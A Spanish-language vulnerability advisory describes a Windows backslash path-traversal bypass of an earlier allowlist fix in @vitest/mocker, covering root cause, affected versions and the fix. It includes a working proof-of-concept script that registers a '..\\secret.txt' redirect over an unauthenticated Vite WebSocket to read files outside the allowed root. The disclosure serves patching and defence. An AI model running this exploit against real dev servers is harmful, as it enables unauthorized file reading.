Media

Vitest: La evasión de salto de directorio con barra invertida en Windows elude la corrección de lista de permitidos de @vitest/mocker

  • Publicada: 21.10.2026
  • Actualizado: 22.10.2026 00:10

Resumen

La corrección de salto de directorio publicada para GHSA-82fw-gwwq-j7x9 puede eludirse en Windows utilizando una barra invertida en la ruta de la URL de redirección.

El código corregido une una ruta de URL controlada por el atacante con la raíz de Vite mediante node:path/posix, pasando luego esa cadena a la comprobación de la lista de permitidos de Vite. En Windows, un valor como C:/project/root/..\secret.txt mantiene ..\ durante la unión POSIX y comienza con la raíz permitida, por lo que la lista de permitidos lo acepta. La llamada posterior a readFile() utiliza la semántica del sistema de archivos de Windows, donde la barra invertida actúa como separador de ruta, y lee el archivo adyacente fuera de la raíz configurada.

El problema se reprodujo con los paquetes publicados de @vitest/mocker en ambas líneas de versiones corregidas:

  • @vitest/mocker@4.1.11
  • @vitest/mocker@5.0.0

El código fuente actual de main en el commit 2ce29d5fa758046e5453bd92b8ed6c9da9709bb5 presenta el mismo comportamiento.

Correcciones

Corregido en @vitest/mocker 5.0.3, publicado el 2026-09-30 (PR #11377), y adaptado a 4.1.12. El registro de redirecciones ahora convierte las barras invertidas en la ruta de la URL en barras diagonales antes de unir la ruta con la raíz, por lo que ..\ se resuelve de la misma forma que ../ y la lista de permitidos lo rechaza.

Relación con GHSA-82fw-gwwq-j7x9

Se trata de una elusión de la solución previa y no de una vía distinta o independiente. Utiliza el mismo registro de redirecciones en vitest:interceptor:register y el mismo punto de lectura de archivos que el aviso original. Un salto de directorio con barra diagonal se rechaza tras la corrección, mientras que el salto equivalente con barra invertida en Windows resulta aceptado.

El aviso original marcó como corregidas las versiones 4.1.11 y 5.0.0-rc.2. Los rangos afectados nuevamente por la corrección incompleta son:

  • 4.1.11
  • >=5.0.0-rc.2, <5.0.3

Las versiones afectadas anteriores continúan cubiertas por GHSA-82fw-gwwq-j7x9.

Causa raíz

packages/mocker/src/node/interceptorPlugin.ts importa join desde node:path/posix. Actualmente, el registro de redirecciones realiza el equivalente a:

ts
const redirect = join(server.config.root, redirectUrl.pathname)
if (!isFileLoadingAllowed(server.config, redirect)) return
event.redirect = redirect

El valor registrado llega posteriormente a:

ts
readFile(mock.redirect, 'utf-8')

La comprobación de la lista de permitidos de Vite espera una ruta absoluta y normalizada del sistema de archivos. En Windows, la unión POSIX no normaliza las barras invertidas, pero readFile las interpreta como separadores. Por lo tanto, la comprobación y el punto de destino interpretan la misma cadena de forma distinta.

El mecanismo alternativo RPC autenticado del navegador en packages/browser/src/node/rpc.ts no se ve afectado: une la ruta con pathe, que convierte las barras invertidas a barras diagonales antes de la comprobación de acceso. La reproducción se enfoca en la ruta de registro WebSocket pública de mocker.

Condiciones previas e impacto

Un cliente con capacidad de comunicarse con un servidor Vite a través del registro WebSocket público de mockerPlugin o independiente de interceptorPlugin puede registrar un simulacro de redirección. En Windows, el cliente puede luego solicitar el módulo registrado y leer un archivo fuera de server.fs.allow al que tenga acceso la cuenta del proceso Vitest/Vite. El modo navegador de Vitest no registra estos manejadores de WebSocket en las versiones afectadas.

La reproducción utiliza una conexión WebSocket de Vite HMR sin autenticar y una petición HTTP GET normal. No invoca la API interna transform del plugin. La accesibilidad práctica de red coincide con la descrita en el aviso original; los servidores de desarrollo vinculados únicamente a loopback por defecto están correspondientemente menos expuestos.

Reproducción

Probado en Windows Server 2025 alojado en GitHub con Node.js 22. La prueba solo crea archivos sintéticos temporales: un directorio raíz de Vite y un archivo adyacente secret.txt que contiene un canario.

Instale las dependencias para cualquiera de las líneas afectadas:

bash
npm install @vitest/mocker@4.1.11 vite@7.1.5 ws@8.18.3
# or
npm install @vitest/mocker@5.0.0 vite@7.1.5 ws@8.18.3
node poc.mjs

poc.mjs:

js
import { mkdir, writeFile } from 'node:fs/promises'
import { join } from 'node:path'
import { tmpdir } from 'node:os'
import { randomUUID } from 'node:crypto'
import { interceptorPlugin } from '@vitest/mocker/node'
import { createServer } from 'vite'
import { WebSocket } from 'ws'

const base = join(tmpdir(), `vitest-path-${randomUUID()}`)
const root = join(base, 'root')
const secret = join(base, 'secret.txt')
await mkdir(root, { recursive: true })
await writeFile(secret, 'SYNTHETIC_OUTSIDE_ROOT_CANARY')

const server = await createServer({
  root,
  configFile: false,
  logLevel: 'silent',
  server: { fs: { allow: [root] } },
  plugins: [
    {
      name: 'validation:virtual-modules',
      enforce: 'pre',
      resolveId(id) {
        if (id === '/control' || id === '/bypass') return id
      },
    },
    interceptorPlugin(),
  ],
})

await server.listen()
const port = new URL(server.resolvedUrls.local[0]).port
const baseUrl = server.resolvedUrls.local[0]

function register(id, redirect) {
  return new Promise((resolve, reject) => {
    const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr')
    const timer = setTimeout(() => reject(new Error('registration timeout')), 5000)
    socket.on('message', (raw) => {
      let message
      try { message = JSON.parse(raw.toString()) } catch { return }
      if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') {
        clearTimeout(timer)
        socket.close()
        resolve()
      }
    })
    socket.on('open', () => socket.send(JSON.stringify({
      type: 'custom',
      event: 'vitest:interceptor:register',
      data: { type: 'redirect', raw: '', id, url: id, redirect },
    })))
    socket.on('error', reject)
  })
}

try {
  await register('/control', 'traversal:../secret.txt')
  const controlResponse = await fetch(new URL('/control', baseUrl))
  const controlBody = await controlResponse.text()

  await register('/bypass', 'traversal:..\\secret.txt')
  const bypassResponse = await fetch(new URL('/bypass', baseUrl))
  const bypassBody = await bypassResponse.text()

  const result = {
    platform: process.platform,
    root,
    outsideFile: secret,
    slashTraversalStatus: controlResponse.status,
    slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
    backslashTraversalStatus: bypassResponse.status,
    backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
    returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null,
    expectedBackslashTraversalBlocked: process.env.EXPECT_BLOCKED === '1',
  }
  console.log(JSON.stringify(result, null, 2))
  const backslashResultMatchesExpectation = result.expectedBackslashTraversalBlocked
    ? !result.backslashTraversalReturnedOutsideCanary
    : result.backslashTraversalReturnedOutsideCanary
  if (!result.slashTraversalRejected || !backslashResultMatchesExpectation) process.exitCode = 1
} finally {
  await server.close()
}

Observado con @vitest/mocker@4.1.11:

js
{
  "platform": "win32",
  "slashTraversalStatus": 404,
  "slashTraversalRejected": true,
  "backslashTraversalStatus": 200,
  "backslashTraversalReturnedOutsideCanary": true,
  "returnedBody": "SYNTHETIC_OUTSIDE_ROOT_CANARY",
  "expectedBackslashTraversalBlocked": false
}

El mismo resultado se observó con @vitest/mocker@5.0.0.

Esto incluye dos controles útiles:

  1. traversal:../secret.txt se rechaza y devuelve 404, lo que confirma que la corrección publicada para barras diagonales está activa.
  2. traversal:..\secret.txt devuelve 200 y el contenido exacto del canario fuera de la raíz, confirmando la evasión mediante separadores de Windows en lugar de una respuesta de ruta o accesorio no relacionada.

Qué hacer

Actualice a @vitest/mocker 5.0.3, 4.1.12 o posterior. El parche convierte las barras invertidas en las rutas de URL a barras diagonales antes de unirlas con el directorio raíz, impidiendo la elusión de la lista de permitidos.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm @vitest/mocker >= 4.1.11, < 4.1.12, >= 5.0.0-rc.2, < 5.0.3 4.1.12, 5.0.3

Referencias

Puntuación CVSS 5.9/10
Vector CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Debilidad (CWE)
CWE-22
Plataforma
npm
Paquete
@vitest/mocker
Publicada
21.10.2026
Actualizado
22.10.2026 00:10

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-xp26-3454-mjgp - CC BY 4.0

Historial de vulnerabilidades: @vitest/mocker

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
2
Primera → última
09.2026 10.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Media 2

Divulgaciones por año

  1. 2026: 2
  1. Vitest: La evasión de salto de directorio con barra invertida en Windows elude la corrección de lista de permitidos de @vitest/mocker esta entrada
    Media · 5.9 CVE-2026-112950 >= 4.1.11, < 4.1.12, >= 5.0.0-rc.2, < 5.0.3 4.1.12, 5.0.3
  2. Media · 5.9 CVE-2026-84373 >= 2.1.0, < 4.1.11, >= 5.0.0-beta.1, < 5.0.0-rc.2 4.1.11, 5.0.0-rc.2

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.